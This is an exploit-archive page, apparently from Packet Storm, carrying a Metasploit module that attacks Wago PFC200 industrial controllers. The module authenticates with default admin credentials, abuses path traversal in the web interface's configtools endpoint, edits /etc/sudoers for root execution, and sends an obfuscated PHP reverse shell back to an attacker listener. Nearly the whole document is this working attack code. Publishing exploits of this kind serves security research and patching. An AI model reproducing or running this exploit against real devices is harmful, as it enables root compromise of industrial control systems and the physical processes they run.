exploit the possibilities

Wago PFC200 Remote Code Execution

Wago PFC200 Remote Code Execution
Posted Feb 5, 2020
Authored by Nico Jansen

This Metasploit module exploits an authenticated remote code execution vulnerability in Wago PFC200.

tags | exploit, remote, code execution
MD5 | 30d621ff752ca81c7d6aafe895b3102e

Wago PFC200 Remote Code Execution

Change Mirror Download
# Exploit Title: Wago PFC200 - Authenticated Remote Code Execution (Metasploit)
# Date: 2020-02-05
# Exploit Author: Nico Jansen (0x483d)
# Vendor Homepage: https://www.wago.com/
# Version: <= Firmare 11 (02_08_35)
# Tested on: Linux
# CVE : N/A

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'

class MetasploitModule < Msf::Exploit::Remote
#Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Wago PFC200 authenticated remote code execution',
'Description' => %q{
The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to an authenticated remote code execution in the
administrative web interface. By exploiting the vulnerability, an attacker is able to run system commands in root context.
To execute this module, login credenials of the website administrator are required (default: admin/wago).
This module was tested against a Wago 750-8202 Firmware 11 (02_08_35) but other PFC200 models may be affected as well.
},
'Author' =>
[
'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'References' =>
[
['CVE', '-'],
['US-CERT-VU', '-'],
['URL', '-'],
['URL', '-']
],
'DisclosureDate' => 'Aug 1 2018',
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as admin', 'wago']),
])

deregister_options('VHOST')
end

# This function checks the index page to check if it may be a valid device.
# There are some more checks done after an successful authentication
def check
@csrf=""
res = send_request_cgi(
'method' => 'GET',
'uri' => '/wbm/index.php'
)

if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/
result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"])
if result and result =~ /PFC200/
# Get Version and check if it's <= 11
result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"])
result = result.split('(')[1]
result = result.split(')')[0]
if Integer(result) <= 11
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end

# This function authenticates the adminuser against the Wago PLC
def login
res = send_request_cgi(
'method' => 'POST',
'uri' => '/wbm/login.php',
'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}'
)
if res.code != 200
return false
end

parsed_json = JSON.parse(res.body.to_s)
if parsed_json["status"] == 0
@cookie = res.get_cookies
@csrf = parsed_json["csrfToken"]
return true
else
return false
end
end

# This function can be used to execute arbitary commands after login
def sendConfigToolMessage(scriptname, parameters, expectResponse=true)
parameterString = ''
for param in parameters
parameterString = parameterString + '"' + param + '", '
end

parameterString = parameterString[0...-2]
request ='{"csrfToken":"' + @csrf + '",'\
'"renewSession":true,"aDeviceParams":{"0"'\
':{"name":"' + scriptname + '","parameter":['\
+ parameterString + '],"sudo":true,"multiline":false,'\
'"timeout":12000,"dataId":0}}}'

res = send_request_cgi(
'method' => 'POST',
'uri' => '/wbm/configtools.php',
'data' => request,
'cookie' => @cookie,
)
# After exploitation, there is no response, so just return true because the message was sent
if expectResponse == false
return true
end

parsed_json = JSON.parse(res.body.to_s)
@csrf = parsed_json["csrfToken"]
if parsed_json["aDeviceResponse"][0]["status"] == 0
return parsed_json["aDeviceResponse"][0]["resultString"]
else
return false
end
end

# This function is used to enable php execution in sudoers file using sed
def change_sudo_permissions()
return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"])
end

# Encode a given string to bypass validation
def encode(content)
result = ""
content.split("").each do |i|
result = result + "chr(" + (i.ord).to_s + ")."
end
result = result[0...-1]
return result
end

# This function generates the required payload used to connect to the msf listener
def send_payload()
meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\
'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\
'$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\
' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\
'{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\
'{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\
'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; '\
'case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len);'\
' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= '\
'fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } '\
'$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") '\
'&& ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } '\
'else { eval($b); } die(); ?>'

command = "eval(" + encode(meterpreter_reverse_php) + ");"
return sendConfigToolMessage("/../../../usr/bin/php5", ["-r", command], false)
end

def exploit
if check == Exploit::CheckCode::Vulnerable # Check if the system may be a PFC200
print_good("Target seems to be a vulnerable PFC200 device")
if login # Try to authenticate using the given credentials
print_good("Successfully logged in as website admin")
if change_sudo_permissions()
print_good("Manipulated the /etc/sudoers file to enable php execution as root")
print_good("Preparing meterpreter payload and undoing changes to /etc/sudoers...")
send_payload()
else
print_error("Unable to modify the /etc/sudoers file...")
end
else
print_error("Unable to login as admin with the given credentials...")
end
else
print_error("Target is not a valid PFC200 device. Will exit now...")
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close